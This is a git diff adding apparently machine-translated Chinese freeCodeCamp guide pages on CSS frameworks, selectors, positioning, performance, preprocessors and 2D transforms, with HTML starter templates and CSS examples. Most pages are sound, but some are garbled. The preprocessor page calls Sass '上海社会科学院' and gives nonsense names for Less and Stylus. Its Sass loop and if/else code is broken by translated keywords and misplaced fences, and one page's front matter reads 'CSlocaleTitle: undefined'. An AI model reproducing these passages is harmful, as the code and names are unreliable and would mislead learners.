+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+  </body> 
+ </html> 
+```
+
+**注意：**其他版本可用，可以在Bootstrap网站上找到。
+
+## 学习资源
+
+*   在[这里](https://getbootstrap.com/docs/4.1/getting-started/introduction/)查看官方的Bootstrap 4文档
+*   在[这里](https://getbootstrap.com/docs/3.3/getting-started/)查看官方的Bootstrap 3文档。
+*   [在这里](https://github.com/twbs/bootstrap) Checkout Bootstrap的开源GitHub存储库。
+*   在[FreeCodeCamp](https://www.freecodecamp.com/) ，我们将Bootstrap作为课程的一部分。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-bulma/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-bulma/index.md
new file mode 100644
index 0000000000..0f05d9ca5a
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-bulma/index.md
@@ -0,0 +1,36 @@
+---
+title: CSS Framework Bulma
+localeTitle: CSS框架Bulma
+---
+# CSS框架Bulma
+
+Bulma是一个基于[Flexbox](http://forum.freecodecamp.com/t/css-flexbox-tips-and-tricks)的现代CSS框架，使用[Sass](http://sass-lang.com/) （SCSS）进行高度自定义。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含Bulma库的最新编译和缩小的CSS。
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Bulma Template</title> 
+        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.0.23/css/bulma.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+      </body> 
+    </html> 
+```
+
+我们在此示例中使用了CDN，但您可以[在此处查看](http://bulma.io/documentation/overview/start/)安装Bulma的其他方法。
+
+## 学习资源
+
+*   Bulma的官方文档可[在此处获得](http://bulma.io/documentation/overview/start/) 。
+*   [在这里](https://github.com/jgthms/bulma) Checkout Bulma的开源GitHub存储库。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-foundation/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-foundation/index.md
new file mode 100644
index 0000000000..63e5345523
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-foundation/index.md
@@ -0,0 +1,39 @@
+---
+title: CSS Framework Foundation
+localeTitle: CSS框架基础
+---
+# CSS框架基础
+
+[Foundation](http://foundation.zurb.com/)是由[Zurb](https://zurb.com/)创建的开源，移动的第一个CSS框架。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含用于Foundation库的最新编译和缩小的CSS和Javascript。
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Foundation Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+此示例使用加载默认设置的CDN。如果您想自定义网格布局，请在Foundation [下载](http://foundation.zurb.com/sites/download/)页面上更改颜色或添加和删除可以执行此操作的组件。
+
+#### 学习资源
+
+1.  [基础文档](http://foundation.zurb.com/sites/docs/)
+2.  [基础教程列表](https://github.com/zurb/foundation-sites)
+3.  [GitHub上的基础源文件](http://foundation.zurb.com/learn/tutorials.html)
+4.  [在Foundation Grid上开发YouTube系列](https://www.youtube.com/playlist?list=PLqGj3iMvMa4LJo_lBMTJwAlQRElulSeL8)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-material-design-lite/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-material-design-lite/index.md
new file mode 100644
index 0000000000..e2c29647af
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-material-design-lite/index.md
@@ -0,0 +1,33 @@
+---
+title: CSS Framework Material Design Lite
+localeTitle: CSS Framework Material Design Lite
+---
+# CSS Framework Material Design Lite
+
+Material Design Lite可让您为网站添加Material Design外观。它旨在优化跨设备使用。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含MDL库的最新编译和缩小的CSS。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"> 
+        <link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-pink.min.css"> 
+        <script defer src="https://code.getmdl.io/1.3.0/material.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+```
+
+我们在此示例中使用了CDN，但您可以[在此处查看](https://getmdl.io/started/index.html)安装MDL的其他方法。
+
+### 学习资源
+
+*   MDL的官方文档可[在此处获得](https://getmdl.io/started/index.html) 。
+*   [在这里](https://github.com/google/material-design-lite)查看MDL的开源GitHub存储库。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-materialize/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-materialize/index.md
new file mode 100644
index 0000000000..0b63d1326c
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-materialize/index.md
@@ -0,0 +1,42 @@
+---
+title: CSS Framework Materialize
+localeTitle: CSS Framework实现
+---
+# CSS Framework实现
+
+Materialise是一个基于Google [Material Design](https://design.google.com/spec/) Language的响应式CSS框架。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含Materialize库的最新编译和缩小的CSS和Javascript。
+
+```html
+
+    <!DOCTYPE html> 
+  <html> 
+    <head> 
+      <!--Import Google Icon Font--> 
+      <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> 
+      <!--Import materialize.css--> 
+      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/css/materialize.min.css"> 
+ 
+      <!--Let browser know website is optimized for mobile--> 
+      <meta name="viewport" content="width=device-width, initial-scale=1.0"/> 
+    </head> 
+ 
+    <body> 
+      <h1>Hello World!</h1> 
+      <!--Import jQuery before materialize.js--> 
+      <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.min.js"></script> 
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script> 
+    </body> 
+  </html> 
+```
+
+我们在此示例中使用了CDN，但您可以[在此处查看](http://materializecss.com/getting-started)安装Materialize的其他方法。
+
+## 学习资源
+
+*   Materialise的官方文档可[在此处获得](www.materializecss.com/) 。
+*   Checkout Materialize的开源GitHub存储库[在这里](https://github.com/Dogfalo/materialize) 。
+*   [这](https://scotch.io/tutorials/make-material-design-websites-with-the-materialize-css-framework)是一个使用Materialise的方便教程。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-semanticui/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-semanticui/index.md
new file mode 100644
index 0000000000..4f62aea5e6
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-semanticui/index.md
@@ -0,0 +1,34 @@
+---
+title: CSS Framework Semantic UI
+localeTitle: CSS框架语义UI
+---
# CSS框架语义UI
+
+语义UI是最流行的CSS框架之一，用于为Web开发响应式移动优先项目。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含用于语义UI库的最新编译和缩小的CSS和Javascript。我们在此示例中使用了CDN，但您可以[在此处查看](https://semantic-ui.com/introduction/getting-started.html)安装Semantic UI的其他方法。
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Semantic UI Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/semantic-ui/2.2.13/semantic.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+## 学习资源
+
+*   [这里](https://semantic-ui.com/introduction/getting-started.html)提供了Semantic UI的官方文档。
+*   [在这里](https://github.com/Semantic-Org/Semantic-UI) Checkout Semantic UI的开源GitHub存储库。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-skeleton/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-skeleton/index.md
new file mode 100644
index 0000000000..b745b6a6ef
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-skeleton/index.md
@@ -0,0 +1,41 @@
+---
+title: CSS Framework Skeleton
+localeTitle: CSS Framework Skeleton
+---
+# CSS Framework Skeleton
+
+Skeleton是一个简单的模板，可以启动任何响应式项目。
+
+## 入门
+
+这是一个简单的HTML模板，其中包含Skeleton库的最新编译和缩小的CSS。
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Skeleton Template</title> 
+        <link href="//fonts.googleapis.com/css?family=Raleway:400,300,600" rel="stylesheet" type="text/css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/4.1.1/normalize.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+      </body> 
+    </html> 
+```
+
+ [![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/31bd555700f1ee85bb4ddcacf595f0dfd8a16254.png) **JSBin演示**](http://jsbin.com/sekojaxali/edit?html,output)
+
+我们在此示例中使用了CDN，但您可以[在此处查看](https://github.com/dhg/Skeleton#getting-started)安装Skeleton的其他方法。
+
+## 学习资源
+
+*   ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：") Skeleton的[**`Official Documentation`**](http://getskeleton.com/#grid) 。
+*   结帐骨架的开源GitHub的仓库[在这里](https://github.com/dhg/Skeleton) 。
+*   [以下](http://getskeleton.com/#examples)是一些如何在不同网站上使用Skeleton的示例。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-frameworks-uikit/index.md b/client/src/guide/chinese/css/css-frameworks/css-frameworks-uikit/index.md
new file mode 100644
index 0000000000..863627d46c
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-frameworks-uikit/index.md
@@ -0,0 +1,34 @@
+---
+title: CSS Framework UIKit
+localeTitle: CSS Framework UIKit
+---
+## CSS Framework UIKit
+
+UIKit是一个轻量级的模块化前端框架，用于开发快速而强大的Web界面。
+
+### 入门
+
+这是一个简单的HTML模板，其中包含UIKit库的最新编译和缩小的CSS。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <title></title> 
+        <link rel="stylesheet" href="css/uikit.min.css" /> 
+        <script src="js/jquery.js"></script> 
+        <script src="js/uikit.min.js"></script> 
+        <script src="js/uikit-icons.min.js"></script> 
+    </head> 
+    <body> 
+    </body> 
+ </html> 
+```
+
+我们在此示例中使用了CDN，但您可以[在此处查看](https://getuikit.com/docs/introduction)安装UIKit的其他方法。
+
+### 学习资源
+
+*   UIKit的官方文档可[在此处获得](https://getuikit.com/docs/introduction) 。
+*   [在这里](https://github.com/uikit/uikit)查看UIKit的开源GitHub存储库。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/index.md b/client/src/guide/chinese/css/css-frameworks/index.md
new file mode 100644
index 0000000000..0a930e8069
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/index.md
@@ -0,0 +1,40 @@
+CSlocaleTitle: undefined
+S框架旨在简化排字机的工作，消除创建项目时的错误，并摆脱相同代码的无聊单调写作。
+
+CSS框架的优点：
+```
+* Cross-browser compatibility 
+ * Ability to create the correct HTML layout even for a not very experienced specialist. 
+ * Code uniformity 
+ * Increase development speed 
+```
+
+劣势：
+```
+* Attachment to CSS style library 
+ * Redundant code 
+```
+
+## 引导
+
+迄今为止最着名的CSS框架之一。包括用于绘制按钮，侧边栏，导航栏，表单和其他网站元素的模板。包括自己的JavaScript扩展。
+
+Bootstrap与所有主流现代浏览器兼容，但旧版浏览器可能存在问题。支持适应性。使用Less和Sass语言。
+
+## 骨架
+
+它基于JavaScript和CSS，用于快速准确地创建在大型监视器和小型小工具屏幕上正确显示的响应式网站。一个大加骷髅 - 它可以适应任何设计。标记网格包含12列，基本宽度为960像素。兼容所有主流浏览器。
+
+## KUBE
+
+开发人员完全自由而不强加风格。提供最大的设计灵活性它有几个网格选项，由创建者定位为专业CSS开发人员的框架。使用Less，支持响应式设计。
+
+## 基础
+
+常见的CSS框架。与其他主要元素一起包括几个HTML模板，页面上具有不同的块排列。它在JavaScript中有很多组件。该框架的能力和构成非常严肃。使用Sass。与所有主流浏览器兼容的代码。
+
+## 语义UI
+
+支持Firefox，Chrome，Safari，Internet Explorer，Android 4，Blackberry10。包含大量组件：图标，图像，标签，菜单和其他标准组件。它支持最新版本的HTML和CSS，并且有很多脚本模块和API可供选择。使用更少。适用性与bootstrap竞争。
+
+每个任务都有自己的工具。一个很好的步骤是尝试框架并理解“你的”与否。您可以使用框架中提供的代码的骨架作为备忘单，并从中获取解决方案和代码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-images/index.md b/client/src/guide/chinese/css/css-images/index.md
new file mode 100644
index 0000000000..63cc3ffa09
--- /dev/null
+++ b/client/src/guide/chinese/css/css-images/index.md
@@ -0,0 +1,30 @@
+---
+title: CSS Images
+localeTitle: CSS图像
+---
+## CSS图像
+
+这有助于向网站添加图像。
+
+#### 代码示例
+
+`<img src="picture.jpg" alt="Picture" width="100" height="100">`
+
+*   **src：**它包含所需图像的路径值
+*   **alt：**如果未显示图像，则可以使用alt属性显示备用文本。
+*   **width：**指定图像的宽度（可以是百分比或px或auto）
+*   **height：**指定图像的高度（可以是百分比或px或auto）
+
+#### 更多信息：
+
+##### 属性
+
+[`image-orientation`](/en-US/docs/Web/CSS/image-orientation "图像方向CSS属性描述了如何更正图像的默认方向。") [`image-rendering`](/en-US/docs/Web/CSS/image-rendering "图像呈现CSS属性向浏览器提供有关其应用于缩放图像的算法的提示。") [`object-fit`](/en-US/docs/Web/CSS/object-fit "object-fit CSS属性指定如何调整替换元素（如<img>或<video>）的大小以适合其容器。") [`object-position`](/en-US/docs/Web/CSS/object-position "对象位置CSS属性确定所选元素在其框内的对齐方式。")
+
+##### 功能
+
+[`linear-gradient()`](/en-US/docs/Web/CSS/linear-gradient "关于这方面的文件尚未写入;请考虑贡献！") [`radial-gradient()`](/en-US/docs/Web/CSS/radial-gradient "关于这方面的文件尚未写入;请考虑贡献！") [`repeating-linear-gradient()`](/en-US/docs/Web/CSS/repeating-linear-gradient "关于这方面的文件尚未写入;请考虑贡献！") [`repeating-radial-gradient()`](/en-US/docs/Web/CSS/repeating-radial-gradient "关于这方面的文件尚未写入;请考虑贡献！") [`element()`](/en-US/docs/Web/CSS/element "关于这方面的文件尚未写入;请考虑贡献！")
+
+##### 数据类型
+
+[`&lt;image&gt;`](/en-US/docs/Web/CSS/image "<image> CSS数据类型表示2D图像。有两种图像：普通图像（通常使用URL引用）和动态生成的图像（如使用<gradient>或element（）生成的图像）​​。图像可以与许多CSS属性一起使用，例如背景图像，边框图像，内容，列表样式图像和光标。") [`&lt;uri&gt;`](/en-US/docs/Web/CSS/uri "关于这方面的文件尚未写入;请考虑贡献！")
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-performance/index.md b/client/src/guide/chinese/css/css-performance/index.md
new file mode 100644
index 0000000000..10aeac0192
--- /dev/null
+++ b/client/src/guide/chinese/css/css-performance/index.md
@@ -0,0 +1,45 @@
+---
+title: CSS Performance
+localeTitle: CSS性能
+---
+## CSS性能
+
+大多数时候CSS不是您的网页加载缓慢的原因。在某些情况下，如果您的CSS文件混乱了数百个无法使用的选择器，它可以减少您的网站加载时间。以下是一些关于如何编写快速，可维护的CSS的基本指南。
+
+### 不同选择器的性能
+
+看看这个例子：
+
+```css
+#unique-id { }         // fastest 
+ .general-class { }  // also fast 
+ li { }              // ok 
+ * { }               // slow 
+```
+
+不出所料，ID选择器是最快的，其次是类。像`div`或`li`这样的简单标记元素处理得相当慢。
+
+### 如何选择元素
+
+想象下面的CSS：
+
+```css
+nav ul li a { 
+  color: #fff; 
+ } 
+```
+
+这不是一个好主意。有更好的方法可以在导航中选择链​​接元素。但是计算机如何实际选择正确的元素呢？ 首先，它找出每`a`页面上的元素。然后它检查是否在一个`li`元素内，在`div`内部的`ul`内。因此浏览器从右到左阅读选择器。 如果您有数百个链接，这可能需要一段时间才能处理，那么您应该怎么做？
+
+### 提高CSS性能
+
+根据经验：
+
+*   避免使用后代选择器，如`ul li a`等。
+*   不要回避使用大量描述性的类名`.footer-nav-link`
+*   如果要选择元素`.image-container > img`的直接子`.image-container > img`请尝试使用子选择器
+*   避免使用通用选择器`* { }`
+
+### 这真的是必要的吗？
+
+这可能是20年前计算机不像现在这么快的问题。请不要在将来完全避免后代选择器。但请记住，您的目标是编写可维护的CSS，因此可能需要一点思考。 有时`nav ul li a`器选择器在具有数百个链接的页面上不是一个好主意。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-position/index.md b/client/src/guide/chinese/css/css-position/index.md
new file mode 100644
index 0000000000..8240bfa1e8
--- /dev/null
+++ b/client/src/guide/chinese/css/css-position/index.md
@@ -0,0 +1,23 @@
+---
+title: CSS Position
+localeTitle: CSS职位
+---
+## CSS职位
+
+position属性指定用于元素的定位方法的类型。它有5个关键字值：
+
+```css
+.static         { position: static; } // default value 
+ .relative       { position: relative; } 
+ .sticky         { position: sticky; } 
+ .fixed          { position: fixed; } 
+ .absolute       { position: absolute; } 
+```
+
+### 更多信息：
+
+MDN文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position)
+
+浏览器支持： [caniuse](http://caniuse.com/#search=position)
+
+YouTube： [Part1](https://www.youtube.com/watch?v=kejG8G0dr5U) | [第2部分](https://www.youtube.com/watch?v=Rf6zAP4YnZA)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-pre-processors/index.md b/client/src/guide/chinese/css/css-pre-processors/index.md
new file mode 100644
index 0000000000..3b03f85217
--- /dev/null
+++ b/client/src/guide/chinese/css/css-pre-processors/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Pre-Processors
+localeTitle: CSS预处理器
+---
+## CSS预处理器
+
+预处理器是一种软件，它允许使用扩展的CSS功能，包括变量，函数，运算符以及缺少普通CSS的许多有用资产。
+
+## 流行的预处理器
+
+*   [上海社会科学院](http://sass-lang.com)
+*   [减](http://lesscss.org)
+*   [唱针](http://stylus-lang.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-preprocessors/index.md b/client/src/guide/chinese/css/css-preprocessors/index.md
new file mode 100644
index 0000000000..9eae4603a2
--- /dev/null
+++ b/client/src/guide/chinese/css/css-preprocessors/index.md
@@ -0,0 +1,50 @@
+---
+title: CSS Preprocessors
+localeTitle: CSS预处理器
+---
+## CSS预处理器
+
+CSS预处理器越来越成为前端Web开发人员工作流程的支柱。 CSS是一种非常复杂和细微的语言，为了使它的使用更容易，开发人员经常转向使用SASS或LESS等预处理器。
+
+CSS预处理器编译使用特殊编译器编写的代码，然后使用它创建一个css文件，然后可以通过主HTML文档进行参考。使用任何CSS预处理器时，您将能够像在预处理器不到位时那样在普通CSS中编程，但您也可以使用更多选项。一些，例如SASS，具有特定的样式标准，这意味着使文档的编写更容易，例如，如果您选择这样做，则可以省略大括号。
+
+当然，CSS预处理器也提供其他功能。提供的许多功能在预处理器中非常相似，语法上只有轻微的差异。因此，您可以选择任何您想要的人，并且能够实现相同的目标。一些更有用的功能是：
+
+### 变量
+
+任何编程语言中最常用的项目之一是变量，这是CSS特别缺乏的。通过使用变量，您可以定义一次值，并在整个程序中重复使用。 SASS的一个例子是：
+
+```SASS
+$yourcolor: #000056 
+ .yourDiv { 
+  color: $yourcolor; 
+ } 
+```
+
+通过声明`SASS yourcolor`变量一次，现在可以在整个文档中重复使用相同的精确颜色，而无需重新键入定义。
+
+### 循环
+
+语言中的另一个常见项是循环，CSS缺少的东西。循环可用于多次重复相同的指令，而无需多次重新输入。 SASS的一个例子是：
+
+\`\`\`SASS @for $ vfoo 35px to 85px { .margin - ＃{vfoo} { 保证金：$ vfoo 10px; } }
+```
+This loop saves us from having the to write the same code multiple times to change the margin size. 
+ 
+ ### If/Else Statements 
+ Yet another feature which CSS lacks are If/Else statements. These will run a set of instructions only if a given condition is true. An example of this in SASS would be: 
+```
+
+上海社会科学院 @if width（body）> 500px { 背景颜色：蓝色; } else { 背景颜色：白色; } \`\`\` 在这里，背景颜色将根据页面主体的宽度改变颜色。
+
+这些只是CSS预处理器的一些主要功能。如您所见，CSS预处理器是非常有用的和多功能的工具。许多Web开发人员使用它们，强烈建议至少学习其中一个。
+
+#### 更多信息：
+
+SASS：http：//sass-lang.com/
+
+更少：http：//lesscss.org/
+
+手写笔：http：//stylus-lang.com/
+
+MDN页面：https：//developer.mozilla.org/en-US/docs/Glossary/CSS\_preprocessor
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-syntax-and-selectors/index.md b/client/src/guide/chinese/css/css-syntax-and-selectors/index.md
new file mode 100644
index 0000000000..7f5aa246b0
--- /dev/null
+++ b/client/src/guide/chinese/css/css-syntax-and-selectors/index.md
@@ -0,0 +1,96 @@
+---
+title: CSS Syntax and Selectors
+localeTitle: CSS语法和选择器
+---
+## CSS语法和选择器
+
+当我们谈论CSS的语法时，我们谈论的是如何布局。关于什么去哪里都有规则，因此你可以一致地编写CSS，程序（如浏览器）可以解释它并正确地将它应用到页面。
+
+编写CSS有两种主要方法。
+
+### 内联CSS
+
+关于CSS特异性的细节： [CSS技巧](https://css-tricks.com/specifics-on-css-specificity/)
+
+内联CSS将样式应用于单个元素及其子元素，直到遇到覆盖第一个元素的另一个样式。
+
+要应用内联CSS，请将“style”属性添加到您要修改的HTML元素中。在引号内，包括一个以分号分隔的键/值对列表（每个由冒号分隔），表示要设置的样式。
+
+这是一个内联CSS的例子。单词“One”和“Two”将具有黄色的背景颜色和红色的文本颜色。单词“Three”具有覆盖第一个的新样式，并且将具有青色的背景颜色和青色的文本颜色。在示例中，我们将样式应用于`<div>`标记，但您可以将样式应用于任何HTML元素。
+
+```html
+
+<div style="color:red; background:yellow"> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div style="color:cyan; background:green"> 
+    Three 
+  </div> 
+ </div> 
+```
+
+### 内部CSS
+
+虽然编写内联样式是更改单个元素的快捷方式，但是有一种更有效的方法可以同时将相同的样式应用于页面的许多元素。
+
+内部CSS在`<style>`标记中指定了`<style>` ，并嵌入在`<head>`标记中。
+
+这是一个与上面的“内联”示例具有类似效果的示例，除了CSS已被提取到其自己的区域。单词“One”和“Two”将匹配`div`选择器，并且是黄色背景上的红色文本。单词“Three”和“Four”也将与`div`选择器匹配，但它们也匹配`.nested_div`选择器，该选择器适用于引用该类的任何HTML元素。这个更具体的选择器会覆盖第一个，它们最终会在绿色背景上显示为青色文本。
+
+```html
+
+<style type="text/css"> 
+  div { color: red; background: yellow; } 
+  .nested_div { color: cyan; background: green; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div class="nested_div"> 
+    Three 
+  </div> 
+  <div class="nested_div"> 
+    Four 
+  </div> 
+ </div> 
+```
+
+上面显示的选择器非常简单，但它们可能会非常复杂。例如，可以仅将样式应用于嵌套元素;也就是说，是另一个元素的子元素。
+
+这是一个示例，我们指定的样式应该只应用于`div`元素，这些元素是其他`div`元素的直接子元素。结果是“两个”和“三个”将在黄色背景上显示为红色文本，但“一个”和“四个”将保持不受影响（并且很可能是白色背景上的黑色文本）。
+
+```html
+
+<style type="text/css"> 
+  div > div { color: red; background: yellow; } 
+ </style> 
+ 
+ <div> 
+  One 
+  <div> 
+    Two 
+  </div> 
+  <div> 
+    Three 
+  </div> 
+ </div> 
+ <div> 
+  Four 
+ </div> 
+```
+
+### 外部CSS
+
+所有样式都有自己的文档，该文档链接在`<head>`标记中。链接文件的扩展名为`.css`
+
+#### 更多信息：
+
+*   [CSS语法](https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax) @MDN
+*   [CSS Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors) @ MDN
+*   [CSS选择器参考](https://www.w3schools.com/cssref/css_selectors.asp)
+*   [CSS选择器的特异性](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css3-2d-transforms/index.md b/client/src/guide/chinese/css/css3-2d-transforms/index.md
new file mode 100644
index 0000000000..689b6346e2
--- /dev/null
+++ b/client/src/guide/chinese/css/css3-2d-transforms/index.md
@@ -0,0 +1,198 @@
+---
+title: CSS3 2d Transforms
+localeTitle: CSS3 2d变换
+---
+## CSS3 2d变换
+
+CSS3变换允许您平移，旋转，缩放和倾斜元素。
+
+变换是一种让元素改变形状，大小和形状的效果 位置。
+
+CSS3支持2D和3D转换。
+
+## 浏览器支持2D变换
+
+表中的数字指定了完全支持的第一个浏览器版本 财产。
+
+数字后跟-ms-， - webkit-，-moz-或-o-指定第一个版本 使用前缀。
+
+|财产| Chrome | IE | Firefox | Safari |歌剧| | --------------------------------------- | ---------------------- | ------------------ | ------------------- | -------------------- | -------------------------------------------- | |变换| 36.0 4.0 -webkit- | 10.0 9.0 -ms- | 16.0 3.5 -moz- | 9.0 3.2 -webkit- | 23.0 15.0 -webkit- 12.1 10.5 -o- | |变换原点 （双值语法）| 36.0 4.0 -webkit- | 10.0 9.0 -ms- | 16.0 3.5 -moz- | 9.0 3.2 -webkit- | 23.0 15.0 -webkit- 12.1 10.5 -o- |
+
+## CSS3 2D变换
+
+方法：
+
+*   `translate()`
+*   `rotate()`
+*   `scale()`
+*   `skewX()`
+*   `skewY()`
+*   `matrix()`
+
+## translate（）方法
+
+`translate()`方法将元素从其当前位置移开（相应地 给出了X轴和Y轴的参数。
+
+以下示例将`<div>`元素向右移动50个像素，然后移动100个像素 从当前位置向下的像素：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: translate(50px, 100px); /* IE 9 */ 
+  -webkit-transform: translate(50px, 100px); /* Safari */ 
+  transform: translate(50px, 100px); 
+ } 
+```
+
+## rotate（）方法
+
+`rotate()`方法顺时针或逆时针旋转元素 根据给定的程度。
+
+以下示例以20度顺时针旋转`<div>`元素：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: rotate(20deg); /* IE 9 */ 
+  -webkit-transform: rotate(20deg); /* Safari */ 
+  transform: rotate(20deg); 
+ } 
+```
+
+使用负值将逆时针旋转元素。
+
+以下示例使用20逆时针旋转`<div>`元素 度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: rotate(-20deg); /* IE 9 */ 
+  -webkit-transform: rotate(-20deg); /* Safari */ 
+  transform: rotate(-20deg); 
+ } 
+```
+
+## scale（）方法
+
+`scale()`方法增加或减少元素的大小（根据 给出的宽度和高度参数）。
+
+以下示例将`<div>`元素增加到其两倍 原始宽度，原始高度的三倍：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: scale(2, 3); /* IE 9 */ 
+  -webkit-transform: scale(2, 3); /* Safari */ 
+  transform: scale(2, 3); 
+ } 
+```
+
+以下示例将`<div>`元素减少为原始元素的一半 宽度和高度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: scale(0.5, 0.5); /* IE 9 */ 
+  -webkit-transform: scale(0.5, 0.5); /* Safari */ 
+  transform: scale(0.5, 0.5); 
+ } 
+```
+
+## skewX（）方法
+
+`skewX()`方法沿X轴倾斜元素给定的角度。
+
+以下示例将`<div>`元素沿X轴倾斜20度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: skewX(20deg); /* IE 9 */ 
+  -webkit-transform: skewX(20deg); /* Safari */ 
+  transform: skewX(20deg); 
+ } 
+```
+
+## skewY（）方法
+
+`skewY()`方法沿Y轴倾斜元素给定角度。
+
+以下示例将`<div>`元素沿Y轴倾斜20度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: skewY(20deg); /* IE 9 */ 
+  -webkit-transform: skewY(20deg); /* Safari */ 
+  transform: skewY(20deg); 
+ } 
+```
+
+## skew（）方法
+
+`skew()`方法沿着X轴和Y轴倾斜给定角度的元素。
+
+以下示例将`<div>`元素沿X轴倾斜20度，并且 沿Y轴10度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: skew(20deg, 10deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg, 10deg); /* Safari */ 
+  transform: skew(20deg, 10deg); 
+ } 
+```
+
+如果未指定第二个参数，则其值为零。那么，以下 示例将`<div>`元素沿X轴倾斜20度：
+
+### 例：
+
+```css
+div { 
+  -ms-transform: skew(20deg); /* IE 9 */ 
+  -webkit-transform: skew(20deg); /* Safari */ 
